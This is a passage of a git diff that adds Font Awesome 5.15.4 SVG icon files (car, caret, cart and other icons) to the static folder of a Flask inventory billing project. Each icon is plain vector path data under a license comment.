xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 448h-24.68L359.54 117.75l53.41-73.55c5.19-7.15 3.61-17.16-3.54-22.35l-25.9-18.79c-7.15-5.19-17.15-3.61-22.35 3.55L320 63.3 278.83 6.6c-5.19-7.15-15.2-8.74-22.35-3.55l-25.88 18.8c-7.15 5.19-8.74 15.2-3.54 22.35l53.41 73.55L40.68 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM320 288l116.36 160H203.64L320 288z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/candy-cane.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/candy-cane.svg new file mode 100644 index 00000000..9ca7fc1d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/candy-cane.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M497.5 92C469.6 33.1 411.8 0 352.4 0c-27.9 0-56.2 7.3-81.8 22.6L243.1 39c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5l27.5-16.4c5.1-3.1 10.8-4.5 16.4-4.5 10.9 0 21.5 5.6 27.5 15.6 9.1 15.1 4.1 34.8-11 43.9L15.6 397.6c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5L428.6 301c71.7-42.9 104.6-133.5 68.9-209zm-177.7 13l-2.5 1.5L296.8 45c9.7-4.7 19.8-8.1 30.3-10.2l20.6 61.8c-9.8.8-19.4 3.3-27.9 8.4zM145.9 431.8l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm107.5-63.9l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zM364.3 302l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm20.4-197.3l46-46c8.4 6.5 16 14.1 22.6 22.6L407.6 127c-5.7-9.3-13.7-16.9-22.9-22.3zm82.1 107.8l-59.5-19.8c3.2-5.3 5.8-10.9 7.4-17.1 1.1-4.5 1.7-9.1 1.8-13.6l60.4 20.1c-2.1 10.4-5.5 20.6-10.1 30.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cannabis.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cannabis.svg new file mode 100644 index 00000000..6e5f01dc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cannabis.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M503.47 360.25c-1.56-.82-32.39-16.89-76.78-25.81 64.25-75.12 84.05-161.67 84.93-165.64 1.18-5.33-.44-10.9-4.3-14.77-3.03-3.04-7.12-4.7-11.32-4.7-1.14 0-2.29.12-3.44.38-3.88.85-86.54 19.59-160.58 79.76.01-1.46.01-2.93.01-4.4 0-118.79-59.98-213.72-62.53-217.7A15.973 15.973 0 0 0 256 0c-5.45 0-10.53 2.78-13.47 7.37-2.55 3.98-62.53 98.91-62.53 217.7 0 1.47.01 2.94.01 4.4-74.03-60.16-156.69-78.9-160.58-79.76-1.14-.25-2.29-.38-3.44-.38-4.2 0-8.29 1.66-11.32 4.7A15.986 15.986 0 0 0 .38 168.8c.88 3.97 20.68 90.52 84.93 165.64-44.39 8.92-75.21 24.99-76.78 25.81a16.003 16.003 0 0 0-.02 28.29c2.45 1.29 60.76 31.72 133.49 31.72 6.14 0 11.96-.1 17.5-.31-11.37 22.23-16.52 38.31-16.81 39.22-1.8 5.68-.29 11.89 3.91 16.11a16.019 16.019 0 0 0 16.1 3.99c1.83-.57 37.72-11.99 77.3-39.29V504c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-64.01c39.58 27.3 75.47 38.71 77.3 39.29a16.019 16.019 0 0 0 16.1-3.99c4.2-4.22 5.71-10.43 3.91-16.11-.29-.91-5.45-16.99-16.81-39.22 5.54.21 11.37.31 17.5.31 72.72 0 131.04-30.43 133.49-31.72 5.24-2.78 8.52-8.22 8.51-14.15-.01-5.94-3.29-11.39-8.53-14.15z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/capsules.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/capsules.svg new file mode 100644 index 00000000..3b755f8b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/capsules.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M555.3 300.1L424.2 112.8C401.9 81 366.4 64 330.4 64c-22.6 0-45.5 6.7-65.5 20.7-19.7 13.8-33.7 32.8-41.5 53.8C220.5 79.2 172 32 112 32 50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V218.9c3.3 8.6 7.3 17.1 12.8 25L368 431.2c22.2 31.8 57.7 48.8 93.8 48.8 22.7 0 45.5-6.7 65.5-20.7 51.7-36.2 64.2-107.5 28-159.2zM160 256H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm194.8 44.9l-65.6-93.7c-7.7-11-10.7-24.4-8.3-37.6 2.3-13.2 9.7-24.8 20.7-32.5 8.5-6 18.5-9.1 28.8-9.1 16.5 0 31.9 8 41.3 21.5l65.6 93.7-82.5 57.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car-alt.svg new file mode 100644 index 00000000..90a786ec --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 480 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M438.66 212.33l-11.24-28.1-19.93-49.83C390.38 91.63 349.57 64 303.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4l-19.93 49.83-11.24 28.1C17.22 221.5 0 244.66 0 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-27.34-17.22-50.5-41.34-59.67zm-306.73-54.16c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L368 208H112l19.93-49.83zM80 319.8c-19.2 0-32-12.76-32-31.9S60.8 256 80 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S380.8 256 400 256s32 12.76 32 31.9-12.8 31.9-32 31.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car-battery.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car-battery.svg new file mode 100644 index 00000000..119a903b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car-battery.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480 128h-32V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v48H192V80c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v48H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32zM192 264c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm256 0c0 4.42-3.58 8-8 8h-40v40c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-40h-40c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h40v-40c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v40h40c4.42 0 8 3.58 8 8v16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car-crash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car-crash.svg new file mode 100644 index 00000000..6a93076d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car-crash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M143.25 220.81l-12.42 46.37c-3.01 11.25-3.63 22.89-2.41 34.39l-35.2 28.98c-6.57 5.41-16.31-.43-14.62-8.77l15.44-76.68c1.06-5.26-2.66-10.28-8-10.79l-77.86-7.55c-8.47-.82-11.23-11.83-4.14-16.54l65.15-43.3c4.46-2.97 5.38-9.15 1.98-13.29L21.46 93.22c-5.41-6.57.43-16.3 8.78-14.62l76.68 15.44c5.26 1.06 10.28-2.66 10.8-8l7.55-77.86c.82-8.48 11.83-11.23 16.55-4.14l43.3 65.14c2.97 4.46 9.15 5.38 13.29 1.98l60.4-49.71c6.57-5.41 16.3.43 14.62 8.77L262.1 86.38c-2.71 3.05-5.43 6.09-7.91 9.4l-32.15 42.97-10.71 14.32c-32.73 8.76-59.18 34.53-68.08 67.74zm494.57 132.51l-12.42 46.36c-3.13 11.68-9.38 21.61-17.55 29.36a66.876 66.876 0 0 1-8.76 7l-13.99 52.23c-1.14 4.27-3.1 8.1-5.65 11.38-7.67 9.84-20.74 14.68-33.54 11.25L515 502.62c-17.07-4.57-27.2-22.12-22.63-39.19l8.28-30.91-247.28-66.26-8.28 30.91c-4.57 17.07-22.12 27.2-39.19 22.63l-30.91-8.28c-12.8-3.43-21.7-14.16-23.42-26.51-.57-4.12-.35-8.42.79-12.68l13.99-52.23a66.62 66.62 0 0 1-4.09-10.45c-3.2-10.79-3.65-22.52-.52-34.2l12.42-46.37c5.31-19.8 19.36-34.83 36.89-42.21a64.336 64.336 0 0 1 18.49-4.72l18.13-24.23 32.15-42.97c3.45-4.61 7.19-8.9 11.2-12.84 8-7.89 17.03-14.44 26.74-19.51 4.86-2.54 9.89-4.71 15.05-6.49 10.33-3.58 21.19-5.63 32.24-6.04 11.05-.41 22.31.82 33.43 3.8l122.68 32.87c11.12 2.98 21.48 7.54 30.85 13.43a111.11 111.11 0 0 1 34.69 34.5c8.82 13.88 14.64 29.84 16.68 46.99l6.36 53.29 3.59 30.05a64.49 64.49 0 0 1 22.74 29.93c4.39 11.88 5.29 25.19 1.75 38.39zM255.58 234.34c-18.55-4.97-34.21 4.04-39.17 22.53-4.96 18.49 4.11 34.12 22.65 39.09 18.55 4.97 45.54 15.51 50.49-2.98 4.96-18.49-15.43-53.67-33.97-58.64zm290.61 28.17l-6.36-53.29c-.58-4.87-1.89-9.53-3.82-13.86-5.8-12.99-17.2-23.01-31.42-26.82l-122.68-32.87a48.008 48.008 0 0 0-50.86 17.61l-32.15 42.97 172 46.08 75.29 20.18zm18.49 54.65c-18.55-4.97-53.8 15.31-58.75 33.79-4.95 18.49 23.69 22.86 42.24 27.83 18.55 4.97 34.21-4.04 39.17-22.53 4.95-18.48-4.11-34.12-22.66-39.09z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car-side.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car-side.svg new file mode 100644 index 00000000..7f39f262 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car-side.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M544 192h-16L419.22 56.02A64.025 64.025 0 0 0 369.24 32H155.33c-26.17 0-49.7 15.93-59.42 40.23L48 194.26C20.44 201.4 0 226.21 0 256v112c0 8.84 7.16 16 16 16h48c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h48c8.84 0 16-7.16 16-16v-80c0-53.02-42.98-96-96-96zM160 432c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm72-240H116.93l38.4-96H232v96zm48 0V96h89.24l76.8 96H280zm200 240c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car.svg new file mode 100644 index 00000000..0b9bfa12 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/car.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M499.99 176h-59.87l-16.64-41.6C406.38 91.63 365.57 64 319.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4L71.87 176H12.01C4.2 176-1.53 183.34.37 190.91l6 24C7.7 220.25 12.5 224 18.01 224h20.07C24.65 235.73 16 252.78 16 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-19.22-8.65-36.27-22.07-48H494c5.51 0 10.31-3.75 11.64-9.09l6-24c1.89-7.57-3.84-14.91-11.65-14.91zm-352.06-17.83c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L384 208H128l19.93-49.83zM96 319.8c-19.2 0-32-12.76-32-31.9S76.8 256 96 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S396.8 256 416 256s32 12.76 32 31.9-12.8 31.9-32 31.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caravan.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caravan.svg new file mode 100644 index 00000000..7076fd72 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caravan.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416,208a16,16,0,1,0,16,16A16,16,0,0,0,416,208ZM624,320H576V160A160,160,0,0,0,416,0H64A64,64,0,0,0,0,64V320a64,64,0,0,0,64,64H96a96,96,0,0,0,192,0H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM192,432a48,48,0,1,1,48-48A48.05,48.05,0,0,1,192,432Zm64-240a32,32,0,0,1-32,32H96a32,32,0,0,1-32-32V128A32,32,0,0,1,96,96H224a32,32,0,0,1,32,32ZM448,320H320V128a32,32,0,0,1,32-32h64a32,32,0,0,1,32,32Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-down.svg new file mode 100644 index 00000000..bf855706 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M31.3 192h257.3c17.8 0 26.7 21.5 14.1 34.1L174.1 354.8c-7.8 7.8-20.5 7.8-28.3 0L17.2 226.1C4.6 213.5 13.5 192 31.3 192z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-left.svg new file mode 100644 index 00000000..c4dbec5b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 192 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-right.svg new file mode 100644 index 00000000..6a5233a4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 192 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-square-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-square-down.svg new file mode 100644 index 00000000..408efbca --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-square-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM92.5 220.5l123 123c4.7 4.7 12.3 4.7 17 0l123-123c7.6-7.6 2.2-20.5-8.5-20.5H101c-10.7 0-16.1 12.9-8.5 20.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-square-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-square-left.svg new file mode 100644 index 00000000..a26084c9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-square-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM259.515 124.485l-123.03 123.03c-4.686 4.686-4.686 12.284 0 16.971l123.029 123.029c7.56 7.56 20.485 2.206 20.485-8.485V132.971c.001-10.691-12.925-16.045-20.484-8.486z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-square-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-square-right.svg new file mode 100644 index 00000000..b8874f8c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-square-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M48 32h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48zm140.485 355.515l123.029-123.029c4.686-4.686 4.686-12.284 0-16.971l-123.029-123.03c-7.56-7.56-20.485-2.206-20.485 8.485v246.059c0 10.691 12.926 16.045 20.485 8.486z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-square-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-square-up.svg new file mode 100644 index 00000000..e65242bf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-square-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 432V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48zm355.515-140.485l-123.03-123.03c-4.686-4.686-12.284-4.686-16.971 0L92.485 291.515c-7.56 7.56-2.206 20.485 8.485 20.485h246.059c10.691 0 16.045-12.926 8.486-20.485z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-up.svg new file mode 100644 index 00000000..526e8c28 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/caret-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288.662 352H31.338c-17.818 0-26.741-21.543-14.142-34.142l128.662-128.662c7.81-7.81 20.474-7.81 28.284 0l128.662 128.662c12.6 12.599 3.676 34.142-14.142 34.142z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/carrot.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/carrot.svg new file mode 100644 index 00000000..7ab6c84d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/carrot.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M298.2 156.6c-52.7-25.7-114.5-10.5-150.2 32.8l55.2 55.2c6.3 6.3 6.3 16.4 0 22.6-3.1 3.1-7.2 4.7-11.3 4.7s-8.2-1.6-11.3-4.7L130.4 217 2.3 479.7c-2.9 6-3.1 13.3 0 19.7 5.4 11.1 18.9 15.7 30 10.3l133.6-65.2-49.2-49.2c-6.3-6.2-6.3-16.4 0-22.6 6.3-6.2 16.4-6.2 22.6 0l57 57 102-49.8c24-11.7 44.5-31.3 57.1-57.1 30.1-61.7 4.5-136.1-57.2-166.2zm92.1-34.9C409.8 81 399.7 32.9 360 0c-50.3 41.7-52.5 107.5-7.9 151.9l8 8c44.4 44.6 110.3 42.4 151.9-7.9-32.9-39.7-81-49.8-121.7-30.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cart-arrow-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cart-arrow-down.svg new file mode 100644 index 00000000..c66b31e1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cart-arrow-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM403.029 192H360v-60c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v60h-43.029c-10.691 0-16.045 12.926-8.485 20.485l67.029 67.029c4.686 4.686 12.284 4.686 16.971 0l67.029-67.029c7.559-7.559 2.205-20.485-8.486-20.485z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cart-plus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cart-plus.svg new file mode 100644 index 00000000..a50c3760 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cart-plus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM408 168h-48v-40c0-8.837-7.163-16-16-16h-16c-8.837 0-16 7.163-16 16v40h-48c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h48v40c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-40h48c8.837 0 16-7.163 